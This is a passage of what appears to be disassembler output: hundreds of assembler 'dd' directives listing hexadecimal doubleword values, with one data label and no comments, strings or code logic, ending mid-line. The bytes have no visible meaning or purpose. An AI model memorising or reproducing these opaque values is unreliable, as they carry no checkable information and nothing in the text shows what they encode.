0EB4016F9h, 4EEE4B5Ah dd 621BF148h, 9AA5A05h, 5FAE2EBCh, 473896E5h, 27D089B8h dd 0D42BA503h, 0E5F5C205h, 0EAAB68F7h, 834838A9h, 16575F27h dd 0BD749724h, 12E5379h, 5AD121B5h, 0E060CEF7h, 662C6F39h dd 8D03F503h, 0E47BB016h, 0C92000B1h, 66524079h, 8B536197h dd 7DF58C3Fh, 5FA73856h, 5BC01D2Ch, 0D27DE9CEh, 0B5FDDEF5h dd 0FF9D122Ah, 1C22D901h, 95306268h, 97E313E2h, 871A09Dh dd 1559008h, 0E911B0CFh, 0DFA9DE4Bh, 6EE6DCD9h, 98B8F3B5h dd 0C085A57h, 0E954AE09h, 1F8A781Dh, 8202E6C0h, 0D9F69FB1h dd 500331ECh, 0E0C0A7B0h, 3060B08h, 0DDF40F34h, 0AFEC3A16h dd 0B45FB25Eh, 0B70FC160h, 0B16812C8h, 58578C7Fh, 0B1200DE9h dd 13287330h, 0EF416866h, 5819595h, 0E2499AC4h, 0D657A3DCh dd 0D104BB0Eh, 1D80E3C1h, 970110F4h, 0D6426211h, 0C0EC028h dd 28112B4Ch, 561207C6h, 0ACF7104h, 8EA6801h, 8505602Eh dd 5D4E1667h, 7F5FBF62h, 6812C6E6h, 1D8909A5h, 0D3353D28h dd 0AAB2BE12h, 0FC2A3084h, 0A3EAB58Bh, 0B0EC5BFFh, 140B0A25h dd 0EBA183FDh, 0AE75BD12h, 0A83749EBh, 0B989B1E2h, 0C866501h dd 911C695Dh, 41483898h, 2237C40h, 81E095B7h, 1D061817h dd 3720E93Eh, 0FFEA354Dh, 9058303h, 93E78D3Bh, 59202591h dd 1A81BD55h, 56048423h, 0EE2629E4h, 0D287589h, 0BC963401h dd 7F17E935h, 3F85EB3Ch, 0FC628D15h, 0B0A93528h, 0F37EFCADh dd 4460F99Dh, 0BE58E060h, 0E6687809h, 2484F626h, 21120396h dd 0DFE751B1h, 0C126ECF2h, 11A9590Eh, 0D97B8CF5h, 0F1730535h dd 8296008h, 0CBA2E91Bh, 5FE8CA71h, 0F9A19664h, 68550069h dd 902F1E4Eh, 0FC6ECB16h, 50EACE5Eh, 99BE3D34h, 75ADF12Ch dd 5AA92AADh, 5217E9D4h, 2383207Eh, 0E19FDA5Ah, 0A65004C8h dd 4DB7E9Dh, 0CDE9EB01h, 9903E243h, 37780E67h, 91685E05h dd 0E48AEE2Fh, 342F6948h, 81306884h, 2F9815EEh, 2C975F2h dd 0DBD8307Fh, 1458A0E4h, 679A97B2h, 9BB5167Dh, 301830B6h dd 535BF078h, 84159A9h, 0C0ED9ED4h, 76B1BF90h, 78984811h dd 0EA72B20Eh, 1E7CE63h, 0E956273Dh, 5FC27FEDh, 7549AC73h dd 0FBF0D432h, 6BC9F695h, 4A051677h, 517C3E0h, 60E417F1h dd 394B69BAh, 80863EA9h, 0EA05D1F2h, 0CD60D975h, 0D28EE2ABh dd 785C64D2h, 235F544Bh, 7FD1410Dh, 9CD1FB0h, 5B49D005h dd 8832C858h, 5D7D9545h, 0AA0975C4h, 0D46B2319h, 725C8C9Eh dd 2509C58Bh, 0FF649473h, 24083D28h, 53D60970h, 2302C2F1h dd 4465D976h, 75E30BFh, 4867689Eh, 126677CDh, 1837B8C0h dd 544A2A2Ch, 60314D5Eh, 5E96445h, 0E37EAF75h, 0EC688553h dd 0A84BE8ADh, 0B9E9E0F1h, 0EE0180DEh, 4074C8FBh, 7D4AB12Dh dd 2EEBC9A2h, 6C63ABDCh, 0EDCB0311h, 1FD95D1Ch, 8C2C2FD9h dd 5D5B7F75h, 18094B7h, 0F3C83EBAh, 34A13FD9h, 0FCFDD6E9h dd 41DE37Ch, 21A1C9F2h, 0D89D8E7Ah, 3B0CB02Dh, 0F7A7C4C7h dd 0F54481F6h, 7056C2h, 5866C530h, 89AC2BF1h, 87E951B0h dd 86354F4Fh, 0DA9AE5BFh, 7D1B19E7h, 9168E6Eh, 5B5F0B16h dd 5DE95A30h, 7E49414Fh, 8CB946FAh, 0EB525EADh, 5EE98B2Ch dd 29FA0B46h, 5CE8117Fh, 10CECF6Ah, 6802E63Fh, 555F31E4h dd 0BBEDF0E0h, 5150CF12h, 143649EBh, 0FB9DA050h, 5251C063h dd 0EF661BAh, 0C7B84C7Ah, 1682799Dh, 85240049h, 1A7F67Fh dd 2610F148h, 49A9817h, 0A97957CFh, 0E618A5B8h, 21CE0129h dd 76E96423h, 1E830513h, 0D68DC56Fh, 41912020h, 323C200Dh dd 12961D70h, 0B082DE0h, 29630385h, 1B0CE9F0h, 0DBCD74Ch dd 33705723h, 9CE596F8h, 597691AEh, 0DB9D79F6h, 66574B4Eh dd 5A32B0F7h, 4AAB54EFh, 2F93B110h, 3916D75Ch, 0D3010941h dd 656E0532h, 0BCC6ABAEh, 291549DEh, 0E9C07C5Fh, 5AD22D38h dd 0E9BF78BFh, 0AFB6234h, 0C78CA3FBh, 0DB0AE706h, 0FD18E36Ah dd 0EE76B786h, 8A815311h, 0CB43B2D3h, 5F88A5CCh, 0E1E3E605h dd 0B753F930h, 63B1382Eh, 0AE70F92Dh, 0C1800316h, 0B400A3E8h dd 10B353F6h, 71BA44E9h, 0E1847B5h, 0BE174C9Eh, 94CA0BC8h dd 81B90100h, 0E86A7C2Fh, 1691E618h, 4808ADA4h, 0BBA1C5Fh dd 7C80B931h, 0E36A89F2h, 0C2015BB0h, 49D94BE2h, 1C80D2F7h dd 614AFDEFh, 38B8D529h, 0DCA2F058h, 6FE814D3h, 5CBA16A4h dd 2F40A5F5h, 22C2B64h, 7F014171h, 5923615Ah, 75433820h dd 90357714h, 0EBC104B6h, 1701CAA6h, 0EBCC74EFh, 0E982F0A3h dd 0B3ADF255h, 5EF07E38h, 7DEE2564h, 270844A8h, 0E915C2E6h dd 94A3FA36h, 5B79846Eh, 0A262EF12h, 0D7A7A9BDh, 0D9E249Eh dd 0F3734069h, 0F1778299h, 66035240h, 3563E32Fh, 4B90888Dh dd 5F778F76h, 6384EBB2h, 8C6802E5h, 5BC1D632h, 6C33AA04h dd 4AD4873h, 68FA26h, 19DD323Eh, 0D707CE81h, 4E79EA5Fh dd 605F670h, 3C84F338h, 81B60B41h, 62E7BA70h, 1859259Fh dd 12110265h, 0BA451A10h, 9827AD02h, 7962F705h, 7EBB77C0h dd 234BC72Dh, 0A35EF58Bh, 0ED0C01D4h, 7477DDCFh, 9D832F01h dd 0B3AB8C69h, 0AF5B3D79h, 966283E4h, 35A035Eh, 4B31C235h dd 0D907F1FCh, 0D5DE81DDh, 1D44685Ah, 0B6C8858h, 4730692Eh dd 68E845Fh, 41B232DCh, 0C21E881Bh, 27541682h, 497BA59Fh dd 320366B0h, 0FAADD82Ah, 89C5CA91h, 408D6Fh, 0F935373Ah dd 50E47C4Eh, 53921EEBh, 3C70F255h, 819F5D7Ah, 18A228Eh dd 1EE70C82h, 17F730Ch, 1CAACBC9h, 0B428846h, 6E17BFEAh dd 3F3DBDDCh, 5CC6576Bh, 394D8269h, 950FDD35h, 0B911B41Ch dd 0DC0B93F6h, 8144FEF0h, 330EB6C6h, 0C50C9D29h, 0FD015409h dd 908C028h, 68C3ACE9h, 6121FE13h, 20409A3Dh, 0BFC20123h dd 0A28D55E0h, 29F25816h, 0E9828CA9h, 867CDB40h, 0E0A804C9h dd 17A52D00h, 0F495CBCAh, 0BC853E4Ah, 11E7A3Fh, 57059A8Fh dd 679D472Bh, 0BED26F25h, 2A082F16h, 0B5B301A5h, 0E908EBC0h dd 346CCDh, 1913C62Dh, 1F920524h, 0C93ACC12h, 0A49AB558h dd 6ED28E5Fh, 8CFA169Ch, 0B90551D5h, 4D175C79h, 76C7AE01h dd 1B7165BFh, 207DD288h, 976CD027h, 34C06BD0h, 78D239CFh dd 0AFF10F81h, 29E46335h, 1045FDC8h, 33505DA8h, 28909E09h dd 49F85AFCh, 0E161D07Ah, 2BAC6F5Eh, 8D163CC8h, 0B3AE7784h dd 0F0159CEAh, 16EA96BEh, 0BABAD34h, 0D99CE9E1h, 3A52A612h dd 435F6889h, 3782F559h, 5D62DEE9h, 59B03EA1h, 0EAC1D466h dd 0DA2C9BB8h, 0E2822C4Ah, 0DF3F0F9Ch, 237E4B40h, 62147A2Dh dd 0A81360D4h, 0D63E000Dh, 0E95A5B52h, 929DF264h, 63958963h dd 0C6C29AF5h, 0FB142D6Fh, 75B742F4h, 5C8478A2h, 95BCB7F9h dd 5ACAFB6Dh, 3ECAA14Eh, 352E9239h, 0D1C781C6h, 109929C3h dd 0B85F97F6h, 5CFCCB23h, 28FC27ECh, 3F9BBAC0h, 0E94313AEh dd 0B84B8552h, 0E5810148h, 2C3C4497h, 76AC9F9h, 0D04F47A2h dd 6B7140E7h, 0C70E2760h, 9F1035B6h, 3B5F03C1h, 0BC0493E2h dd 0D5F75132h, 0EFD40198h dd 9D3CC346h, 190B280Ch, 8362D513h, 0C4E90807h, 0D3CAA909h dd 0EF6CD4AFh, 0C19206CAh, 59BB5B3h, 444BC30Fh, 4CC0424Ch dd 5A481405h, 125ABC40h, 0B1E324F7h, 0D1F5929Fh, 3C35A8EAh dd 74A1C07Ch, 2C173FFh, 0E95207E8h, 1C9F532h, 9EA97B21h dd 0F4C0257Ch, 2AA89F69h, 35D5AD1Eh, 919060C7h, 9D60274Fh dd 820E554h, 0EC032BBEh, 270824Bh, 2E18D9F0h, 0EE7F89DEh dd 918026BFh, 67514064h, 2AED339Eh, 0E5DDCCF2h, 0F180F160h dd 0CE88E21Eh, 0E801D58Dh, 59BCEC6Fh, 0BAF04B93h, 0CB835A93h dd 0C42F7D58h, 57CF983Dh, 0D0C0821Dh, 0EF25EDD8h, 6CEC3F9h dd 5517A3D6h, 1AF40F73h, 0E9533709h, 9DA550F4h, 0E57A345Ch dd 86E904B5h, 3FDCFF2Dh, 0A3174A68h, 0F02C7810h, 4EC0AD1Fh dd 0C1753552h, 391ED052h, 7F92E04h, 7C39C05Eh, 0E9160DB6h dd 6AE262A0h, 1169284h, 5F8E6859h, 0D312F27Ah, 0EE0756EEh dd 5E4CA941h, 53710C6Fh, 0DFBB1312h, 52023178h, 4DB5CBB2h dd 80BD4028h, 0ECD45BC5h, 4DD334EFh, 0D55577EFh, 224EEBFAh dd 6C7022EEh, 0EA5B604Fh, 4A3A0B3Bh, 35696BE9h, 7ECCDDF7h dd 0E3A47C17h, 7205955Bh, 0C2A2BB50h, 8B87D792h, 0E9621D59h dd 4F550DDh, 66C6885Ah, 7CBFC358h, 775829EBh, 11197D23h dd 0D65A2A1Fh, 6108AAA0h, 15E9875Ah, 7BE54AADh, 0C5C9B027h dd 7F470818h, 4292DC2Dh, 4675DE91h, 276D4944h, 0A1F6F84Fh dd 8100F46Ch, 561E9FEFh, 0C8D211F0h, 0B3686480h, 6935254Ch dd 44E0CE40h, 83465026h, 5B07E902h, 0DC696008h, 51C03158h dd 0D5957624h, 5FF83FC8h, 7880F303h, 0C02185Ch, 25351188h dd 4F0C329h, 55583430h, 122CEE75h, 0A63217CFh, 9AFBC72h dd 0FE6577D3h, 0ED830574h, 9EA7BC01h, 11451A7Bh, 0A4177B0Ch dd 32710844h, 81AD5D17h, 725A0B73h, 73205F0Fh, 4DB279C2h dd 0C6B08E4Ah, 3A692C68h, 27F69A4h, 0A25E84E8h, 0F25A1C8Dh dd 32829DC1h, 98655B58h, 0F61C9AB1h, 8B826C57h, 935D192h dd 0A6792D32h, 0F41B402Dh, 0C323C0F0h, 1B7431D3h, 53048B98h dd 5819AD7Eh, 84DACBABh, 0AE12FD4Ch, 2D0A6DD0h, 0B049B8BEh dd 0E35095Ah, 0A5801755h, 0DF6DDCC6h, 903E2658h, 719E5F08h dd 0EFA8444Fh, 83050F08h, 0D1FC9E6Bh, 402A384Ah, 655EC5DEh dd 0F8C31674h, 0B0D3716Bh, 0E6602505h, 288B06Dh, 412ABD55h dd 0F4006BAh, 0BF05210Fh, 0EF39E96Bh, 0E638A4AEh, 2E41C155h dd 0C6CBF0h, 0BD1EAF03h, 0E150FC3Ch, 0C59DBDB2h, 498B8E86h dd 0A2F429CBh, 0C454054Bh, 58C157EDh, 2A147F68h, 614EA9A6h dd 0A7348C23h, 6BDEDCE5h, 0EB20C465h, 0AC93944h, 3C4766A9h dd 570809CDh, 0BEE20B04h, 5CC9DDF2h, 0E96F105Dh, 0EC285B0Eh dd 0DC9AC434h, 68110213h, 57A6658Dh, 0B0BC057h, 0B5F6697h dd 80DA6064h, 20B81EC6h, 843192F0h, 0BEA7EB8Fh, 94B1E9C4h dd 0C7B7924Ch, 0CB4B5E5Ah, 4479AD98h, 0D302F730h, 5D03A11Ch dd 2C2CDB29h, 921216E3h, 0DDF8D497h, 0A5306DB7h, 46C8ADF7h dd 0E941787Bh, 3980DF4Ah, 1839E068h, 2E5F7247h, 76092871h dd 84D7F731h, 0BE076B8Fh, 2227C225h, 99A82FFh, 0E71860EFh dd 0BDE91B03h, 0E010EDC5h, 5A1280CFh, 18C2004Ah, 4248AD0Dh dd 76D00EC1h, 17A8EC9h, 3DFE2D3Bh, 370530EDh, 0A98A4397h dd 9F69DBBFh, 0CE20B0D0h, 0ADC55E97h, 5DE9A9E3h, 1DA32EECh dd 0CDD03715h, 0F4B90185h, 47125EADh, 7D2D6192h, 692CDACDh dd 0F0E95B1Ch, 65FFBBFBh, 3E62ED30h, 5C2E131Dh, 164BF508h dd 625EBB8Ch, 210DD300h, 9B23680Fh, 29826D6h, 2B186D8Ah dd 0E9E4C07Dh, 0E15C7053h, 0A6E9A96Bh, 53E21495h, 0A1C58368h dd 0AA24BEB8h, 32718BBBh, 0FFFF2653h, 0A37E6218h, 90B0EEB5h dd 6EC902A0h, 0A3E92E89h, 0FD39ABF4h, 982C6378h, 0FEAFFFBCh dd 35B90390h, 8AF2682Fh, 51765878h, 0CDC0734Bh, 125930BDh dd 1631441Fh, 82EFA80Eh, 54DB54E9h, 9300EB59h, 3D9F6D29h dd 0E1CB8107h, 821B426Bh, 5D010615h, 0AD3EEEC5h, 0C25D208Dh dd 7BF60653h, 0BD63757Dh, 805FDD2Fh, 2E40EDC6h, 0BEFE5056h dd 0BB52753h, 0D6124E68h, 0A0775AFAh, 0FE490103h, 9F54E855h dd 0C811746h, 6030615Ah, 96B7C238h, 4B02FA20h, 1C5B92D8h dd 3A0C544h, 710061C4h, 1BD82D7Ch, 120D7916h, 4AB0EB7h dd 0E57190Ah, 0A65CC449h, 78457A2h, 12AB36Eh, 522D2992h dd 9930B935h, 0FEE78h, 52A6A4Fh, 17DE1AACh, 51F8013Eh dd 81F92307h, 78DC25D1h, 0F2076B39h, 3FA75361h, 5E2C03Dh dd 5677D665h, 6BAEBE0Fh, 0D6F1935Ch, 1C1F93CCh, 5DB9514Fh dd 0AE12922Ch, 0D9749F81h, 5FE7679Eh, 0FE0197EAh, 0AE5EC6CEh dd 4FE7D520h, 0F7741273h, 0D9310FD0h, 59E22016h, 341EB439h dd 5039C201h, 0F6A05808h, 2BC0DFF7h, 8BB161EBh, 0DA013E90h dd 0E9A857AAh, 78CB6280h, 59BF67A0h, 4CBEA43Bh, 5BF61C35h dd 1BE94345h, 61509DD2h, 0F3E4CBDAh, 9BEF8811h, 28F1226h dd 3AC45008h, 90D96692h, 0DA6057AEh, 965E267Bh, 0E705DDC0h dd 152E49ACh, 9A1AF603h, 0AAB62906h, 0C2E90880h, 0AD50BB67h dd 3BBCB965h, 0F271AC5Fh, 0F9226268h, 0A3BA82F4h, 66C0A574h dd 27C58BB8h, 0F6372DB9h, 25B3AFD3h, 0DC185C10h, 874C2C88h dd 0CB0134C3h, 0EEA519FCh, 806FFB8Dh, 0F2319F59h, 5B835B44h dd 14F8E8C2h, 97FDF02Fh, 8D5A6C8Ah, 0E9B06F36h, 8829BD8Ch dd 0A3C0C00Bh, 89B1315Ah, 0B447E905h, 562427E3h, 0ADD1AD27h dd 2B882D00h, 1629361Bh, 0BD5668D0h, 5ED281F4h, 0E64227D8h dd 52935D1Fh, 0FF789FC2h, 0D5B3042Fh, 6C8C0A15h, 905110A4h dd 49CE0B89h, 0B4800144h, 76FE2186h, 12C406D0h, 14120EDh dd 368D3BF5h, 2A82C8DDh, 150E6AEAh, 56822940h, 65234A2Ch dd 5E01220Bh, 132F58BAh, 0A41F6897h, 0F30580EDh, 68663412h dd 2D1949ADh, 0ECE6F7B1h, 199D3206h, 0A3508EFDh, 704CED80h dd 0A29A955Ah, 0C2C4D35Dh, 6B5491E9h, 20AA5E12h, 85053F58h dd 64F1447Fh, 7A172C05h, 8DB8DD04h, 5EE3ED74h, 0E037BF14h dd 643B7FEBh, 4BB31E0Fh, 5B00DE28h, 8090B252h, 0ADA75FC2h dd 0CAFE03B4h, 0CFD18851h, 3C02922Eh, 0E1A2F280h, 4603D969h dd 4B2F808Dh, 564A5504h, 0F6EC03FEh, 7C83B40h, 255F51E9h dd 652E3B2Dh, 0CEF4BF60h, 831C7011h, 0BA51017h, 95AB6F12h dd 0D5FC1329h, 0E9AC6055h, 22D7504Ch, 263F04EEh, 2039EF39h dd 6808306Ah, 309D0185h, 16AF79A8h, 0C47DE939h, 93F3EA0Eh dd 16B4CE97h, 5A8E06F8h, 0D768F84Bh, 0FF17CAADh, 6F62AFD6h dd 9A3F4245h, 41DC12A7h, 392B4D7Dh, 3D992B60h, 512858F1h dd 59B2D798h, 2A621030h, 20397CB1h, 48C1313Ch, 6FEF2F2Eh dd 68C05962h, 2FED3E8Ah, 0CACE83B7h, 6154A2B6h, 0E448877Ch dd 16151E4Dh, 90CEFF35h, 2FBEAB3h, 5B1EB016h, 0CA0412AAh dd 0EB5724AEh, 0BC065002h, 5E1C4011h, 3910280Eh, 644502F3h dd 84E94627h, 0F95583EAh, 573C71CBh, 0D68069A2h, 67F139CFh dd 69442290h, 3BDFB0C1h, 0E10225F9h, 28D62F3Fh, 0D1931D43h dd 97DB2003h, 0BAE9DD9Bh, 0FE5AAAFBh, 5317A517h, 0C8D691F2h dd 0FD5E641Ah, 0C2A049A8h, 380A0C3Eh, 93F20110h, 5E5B0820h dd 0C5CC2DEFh, 0F992248Ah, 9E6082EEh, 2D05C74Bh, 0C61058D6h dd 14A833Ch, 45A0E7E3h, 6BCAFC87h, 0E9173507h, 37FED72Bh dd 58B368EBh, 0D968590Eh dword_4FFC54 dd 9DEE135Bh, 0C8B300ACh, 62187647h, 0DB42C101h, 37EC3935h dd 9A721386h, 585C1A55h, 6C9B17B0h, 5184C4DCh, 324B9A21h dd 0D1103D58h, 0E85327F3h, 8273576Eh, 0E5901ADAh, 42439201h dd 8E7C148h, 15C926Fh, 0FC20538Fh, 89BDBC6Dh, 0D0B4FB6Bh dd 0ABBB005Fh, 0B8637B3Fh, 0A6277D65h, 53500Eh, 1B1F330Dh dd 294E351Dh, 485EBA12h, 127F2DB8h, 0FEE0C9E9h, 6D82CC27h dd 819C5D0Bh, 6F4FC0FCh, 40D8FA8Ch, 380BBE9Fh, 0F454473Ch dd 5F5E8D71h, 590C03AEh, 0FDFBEFEBh, 0AC917273h, 8E4A6302h dd 3963D147h, 0D467809h, 0C54A6C0Ch, 0FE01024Bh, 731E5663h dd 0E95FE03Fh, 136BFD5Dh, 0FDB914F7h, 0B759F9C6h, 2C5CC875h dd 0F4D83E5Ch, 6FE874ECh, 682A90F4h, 0E92CE415h, 50A739B2h dd 0ADA3205Ch, 8DD42D04h, 32FC5120h, 0EE392B58h, 3DC9246Eh dd 0FE6BD6DEh, 0B0D75AB0h, 96772BB7h, 0FEC28184h, 0F12023C3h dd 508953B4h, 25549CB1h, 10CDAF0Bh, 80D45AA2h, 62BF2B68h dd 0CD9CD74Fh, 8BE6549Fh, 31862A01h, 5195536Bh, 17CF2C83h dd 1902E180h, 0C0AA389Dh, 0FB599405h, 48E91876h, 0A2BB2CF1h dd 51854F05h, 0AC84DA31h, 4CAEA6FBh, 0C4680C66h, 4A7E8D2Bh dd 0DE66ECE0h, 9E4A6548h, 303E4E8h, 27AE5421h, 2AE89DA7h dd 0A8381DC4h, 175D9056h, 0BD5FA2E9h, 5EF10B6Eh, 524AE929h dd 0BDED9830h, 0C56953D3h, 0C99AA6FDh, 0D1948DD7h, 69D3F5h dd 0DA288075h, 0FF5BEEh, 251DA3BAh, 5D410237h, 7FF9CB55h dd 401E8779h, 0B186E0D1h, 0D877FAB1h, 2FC27047h, 8967B210h dd 5DEF2909h, 0E82CF7Ah, 0F8991B84h, 1473C4A0h, 15E85585h dd 48BDA24Eh, 5C648EEh, 3AD751DCh, 7E283780h, 29682D11h dd 63A29AF7h, 0FDC08C02h, 3BA974C1h, 0F398903Bh, 95BF4A13h dd 79E75800h, 5BC1ED81h, 327348ECh, 46208B06h, 0E0C1855h dd 0C18264Ah, 0C09EE7Eh, 0BD3E960h, 4B00B99Eh, 894ED056h dd 0BF4359CBh, 810FB05Ah, 6B6EC8C3h, 9B6A844Ch, 0B9C71BE9h dd 2A311248h, 0F2963D5h, 0D2541632h, 0CFEB811Dh, 7E36C03Bh dd 806A6A5h, 5E14811Ch, 0CC863829h, 0FE3B0AD5h, 0C172A5CDh dd 0A969286Eh, 0C0054A7Ah, 529BB98Bh, 9D08F52Ch, 0D228AB02h dd 8682412Ch, 0DD5D5E01h, 768E7C0Ah, 8EB0659Dh, 0BE172FC9h dd 307E54CAh, 0EE1DF3ABh, 0C772344Eh, 8D9C995h, 0E6850ABEh dd 3E36630h, 0DAFF6B5h, 0F3311EE0h, 1A24A3B2h, 5A271667h dd 420882B7h, 0AAD9F7DBh, 0D834F6C9h, 3801E281h, 0E964F158h dd 277AD7C4h, 0EFC82CBh, 0E58BC57Ch, 753EFFF3h, 4C4118DFh dd 0F70142C2h, 8036261h, 0C626D2E9h, 0F9D8A031h, 0B2D19D4Bh dd 2CD4586Bh, 0C0DA7C21h, 42F90307h, 810180B4h, 8D648BC9h dd 0C413F13Ah, 2D5C4615h, 982B252Bh, 17475DBh, 0CB813CF1h dd 3FBC6427h, 806E17A1h, 43DB3D55h, 0F3C30926h, 0A292E91Fh dd 0BC8B02A2h, 5B010358h, 80E7B353h, 0E531CAC3h, 6650A98h dd 0E09D28E4h, 0BA0718F7h, 0D5F25E09h, 73F4FA7Bh, 0D1715798h dd 5FB88A4Fh, 9F528F9h, 0D8D930A0h, 49C25D46h, 0BA96AD59h dd 6996BC9Ch, 3BF70AEEh, 0EB2194BFh, 6086FCBDh, 828A895h dd 4A3EDC20h, 15D84124h, 15F197FAh, 0AE8C107h, 44E509B2h dd 0BFEE0193h, 293CC846h, 46C6E1CEh, 880B1C08h, 0E17944Ah dd 0E3016D4Dh, 4B096B38h, 5F7956Eh, 37A30353h, 2E5BAE04h dd 9795E81Ch, 624E9EB4h, 2EFC547h, 32582356h, 416082D4h dd 383D0879h, 0DE869613h, 6C5AB345h, 5D54D032h, 53C2E559h dd 4F8F440Bh, 0F2ADD09Ch, 47094291h, 0D3D0096Ch, 31100DE3h dd 352460E1h, 6EE6052h, 93B5464h, 0FE5E791Ah, 902A4EFCh dd 5F2C9C1Eh, 41A14F5Eh, 0BD2B2ECCh, 2CC4FD52h, 49094E0Eh dd 14AD3C80h, 7E988251h, 0F1812D96h, 4C1C73CBh, 0E41E228Eh dd 0CA89B500h, 8ABCF2E9h, 75E06806h, 0C49A4FDDh, 55E9AA07h dd 8E854B9Fh, 1DAA91A0h, 5074847h, 11B76D67h, 8833F3h dd 0D366C673h, 0F001E7CBh, 1C94D4D0h, 7F2F9D1Fh, 0AFA2E4B4h dd 2503DBD7h, 0D4427F5Ch, 625707CFh, 0C4FDFDB7h, 40F88055h dd 95947CE8h, 24C5BCD8h, 0ED925541h, 5C2942CBh, 569A801h dd 126A26B4h, 0CB83E851h, 1993889h, 0DC886FD9h, 0E781A808h dd 1E514EB3h, 94F0A4ECh, 57A9658Eh, 10C6F890h, 800FC8C0h dd 0DDEBD6C1h, 9354B842h, 1E456805h, 0C5022099h, 0F0926401h dd 0CE884FB0h, 0A168019Bh, 5D5BF85Ch, 0D509E327h, 6A030271h dd 2C2C8FA3h, 45042D46h, 0FED873h, 9D2D9AA0h, 0C9F3F705h dd 20ACDDD0h, 407B4840h, 1B9AD50Dh, 382CB00Eh, 8B25A32h dd 0FCFE3EE2h, 4927F102h, 17085088h, 37C77CE9h, 0C5482A2h dd 0A4DCC755h, 0DEA25A78h, 0BA0A33B4h, 3734264Fh, 1EBE7D12h dd 8943F389h, 0DD5E0255h, 0DA807489h, 0F27D2040h, 0ACB25213h dd 0C056D402h, 51BD40E3h, 0AF3EB106h, 89008F3Ah, 4EFE4735h dd 0B312D31h, 0B53C8BE9h, 5F705E2Fh, 0A82FE541h, 79460530h dd 10BF4A11h, 966207C9h, 560D1C13h, 70444042h, 0FEF2B021h dd 44D94AFFh, 0B1A7FBh, 0EA3A952Dh, 9AF1F444h, 0EF585E50h dd 0E9174A2Ah, 0BA69C46Eh, 10FBDB95h, 4905D2A6h, 0C2230B19h dd 0B8C103C1h, 0C7373BE2h, 6BECA295h, 0CD814500h, 3FDD3A6Ch dd 4D5CF773h, 3C8309F0h, 0C53D007Eh, 5A40CCACh, 104491FEh dd 4C4E2367h, 6CAD160Ch, 314F4DA6h, 3AD921D8h, 0E6680342h dd 95E96620h, 0E989F351h, 2A9E2h, 0FDE14813h, 0C8013E11h dd 0FDDD5699h, 485F62D6h, 20492D4Ah, 0EA06C480h, 9C986Ah dd 3E0C46B1h, 505CCA81h, 0A172562Fh, 19AD7B4Fh, 60CEC430h dd 0EDF66FE2h, 161BA0Eh, 0F8216F0Ch, 0E8F2B71h, 24891669h dd 258AE87Fh, 65E2273Eh, 0EC291458h, 6B02D146h, 5D617D4Eh dd 8404CC6Ch, 4552E862h, 0D6E0B5EEh, 0E977F458h, 5904AA9Ch dd 8DAEDA87h, 5610A62Eh, 0EE0ED902h, 0A87DD1Eh, 39B34E29h dd 0A7DE38A5h, 18ABBEB7h, 4AB8666Ah, 129DB838h, 0B4083296h dd 41482D26h, 61482EDh, 5AA7DA4h, 6BEA0C20h, 0D18082EFh dd 35173C70h, 0CCC2B738h, 81AD0502h, 68AC4747h, 0DF7ADE85h dd 2F2DBF00h, 0EA61D827h, 0EE011C80h, 1F8D245h, 303A5E56h dd 436C601Ah, 82A04BE2h, 0E101C422h, 68F0059Fh, 0B742181Eh dd 5B07872Dh, 21242ADAh, 1CD8808h, 0C60452B9h, 9490405Ah dd 1B5E0664h, 19144DFDh, 68C087DAh, 29C647A9h, 0D3B78B78h dd 1F6CE963h, 1C3EC19Dh, 2416AF4h, 45EDF581h, 0A84057ACh dd 9D4B3EE4h, 26EBB780h, 24326086h, 30310443h, 64FFB4A0h dd 0AE6B5027h, 14D76085h, 17936141h, 0D02931E9h, 0C1775121h dd 0DD016D1Ah, 90080952h, 0B9C0EA16h, 1A20219h, 3DE2C64h dd 7186E181h, 0B7E310F6h, 2395E980h, 411512EEh, 141B18C1h dd 5751F85Dh, 2FAAC1D9h, 8A5F19B6h, 441D1456h, 1409DE8Fh dd 37FF2252h, 15AF32h, 7CE50748h, 0C059B85Bh, 30641FE4h dd 25FFE939h, 0DCB1FB75h, 0E431780Ch, 0C618B7BEh, 0ECFFEDB6h dd 4155D5E1h, 4578EA5Eh, 42012DEAh, 0A7D42F09h, 3312123Eh dd 7C17D1Fh, 0E7E910F1h, 94416878h, 7B4D57F8h, 504F201Ah dd 20EFCAA3h, 2EB8281Bh, 825E30FAh, 363F720h, 8F390F7Ch dd 65A3842h, 0C4C60A09h, 2C7593Fh, 0EE612830h, 0C29AF656h dd 0E9012E8Eh, 7DC26216h, 0A60A5F1h, 25139452h, 847EC509h dd 0A9C8D631h, 2D31E7F4h dd 0DE5EF5h, 0F8110FBEh, 0EE143E2Bh, 0BA5D0007h, 59F34219h dd 3AFAB531h, 3B6F681Ch, 0CDB84B38h, 0B87DE9A8h, 82F18DA9h dd 5524071Ah, 26A0811Dh, 4EDF0A2Ah, 0B924EF59h, 93620BFBh dd 0C9644A8Fh, 75CFEA5Eh, 4604F858h, 0EF41D169h, 804E9A1h dd 0E9C5A8E8h, 0AA4B95CAh, 0AE3E2DB6h, 22BF05C0h, 85D52D18h dd 79046AEDh, 71FB133Ch, 7C0A0h, 165D34B9h, 0A6292AF2h dd 7805028Dh, 0F81E6C46h, 41C0905Ah, 52A13F86h, 408E5760h dd 49985B97h, 2C975F54h, 0AC04852Ch, 0CF0AF016h, 78AFA221h dd 0EB73BD58h, 71802917h, 9AF458E9h, 6AA309B0h, 0A906E9Fh dd 78E1745Dh, 0EDFFB34Eh, 0D39FF2FAh, 0E09FBBF9h, 0B2C4D95Eh dd 96BBB3EBh, 25E9552Ch, 61A17BBFh, 703E4085h, 89B5F8AAh dd 529251B3h, 0C3161C7Dh, 254E99Fh, 4A5A5F76h, 75589509h dd 5B0B1BE5h, 73D75E87h, 50425CF1h, 0FEECD0C3h, 752ECC7Ah dd 0ED42D0DCh, 0B45794B6h, 4C80D21Bh, 71B92F7Bh, 0D94058B8h dd 50FD5821h, 768C2Dh, 6815E12h, 3F781DBDh, 0F259C816h dd 86995019h, 0DB6F3AFEh, 5A8CD22Ah, 77A2DE9h, 0C70B0CFAh dd 404B8165h, 259A3CB1h, 532BB47Eh, 0D9AC6D76h, 7ECC870Ch dd 0EE670B5h, 805966EEh, 6BE36589h, 0D9ECDE82h, 5616816h dd 4FC39DFCh, 0AA27EE28h, 5698608Bh, 0A8207F68h, 0C0C301B6h dd 0B6E0EEC1h, 0DA975CFEh, 38D986Eh, 0E90C746Ah, 0BA84D8ADh dd 16D3E7A3h, 0E961A412h, 6CC99272h, 4EA8C659h, 5C268050h dd 813935FAh, 0D11909CEh, 402F5E69h, 3E4C2077h, 0E0D0294Ah dd 5FC921FDh, 0B240BB3Ah, 